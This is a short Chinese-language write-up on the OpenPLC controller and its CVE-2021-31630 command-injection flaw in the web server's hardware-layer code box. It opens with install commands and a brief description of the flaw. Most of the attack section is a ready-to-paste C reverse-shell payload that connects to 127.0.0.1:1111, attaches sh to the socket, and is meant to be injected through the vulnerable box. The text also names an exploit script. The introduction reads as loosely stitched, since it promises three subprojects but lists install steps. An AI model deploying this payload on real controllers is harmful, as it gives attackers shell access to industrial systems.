
OpenPLC 是一个基于软件、易于使用的开源可编程逻辑控制器。我们的重点是为自动化与研究提供低成本的工业解决方案。OpenPLC 已被多篇研究论文用作工业网络安全研究的框架,因为它是唯一提供完整源代码的控制器。OpenPLC 项目包含三个子项目:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
其中 [platform] 可以是:
win - 在 Windows 上通过 Cygwin 安装 OpenPLC
linux - 在基于 Debian 的 Linux 发行版上安装 OpenPLC
docker - 供 Dockerfile 使用(即不调用 sudo)
rpi - 在树莓派上安装 OpenPLC
custom - 跳过所有特定软件包安装,并假设你的系统已满足所有依赖来尝试安装 OpenPLC。如果你尝试在不受支持的 Linux 平台上安装 OpenPLC,或之前已手动安装了所有依赖包,此选项会很有用。
CVE-2021-31630 是 OpenPLC WebServer 上的一个 代码/命令注入 型漏洞(社区广泛使用的 v3 版本)。漏洞位于 /hardware 界面(Hardware Layer Code Box)中允许加载/编辑代码的功能,输入数据在服务器层处理前未经过充分过滤/清理,从而可能导致以 webserver 进程权限执行代码。该漏洞于 2021 年公开,在公开漏洞数据库中具有较高的严重性等级。
技术描述(可辩护层面):Web 界面接受用户输入的一段 "hardware layer code"。该数据随后由服务器组件处理,这些组件会进行编译/规范化或将其置入命令上下文,但未执行检查、过滤特殊字符或严格约束。在特定条件下(例如:数据被拼接到系统命令字符串中,或直接传入代码处理函数),攻击者可注入控制片段,从而改变执行流程。
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
利用代码:cve-2021-31630.py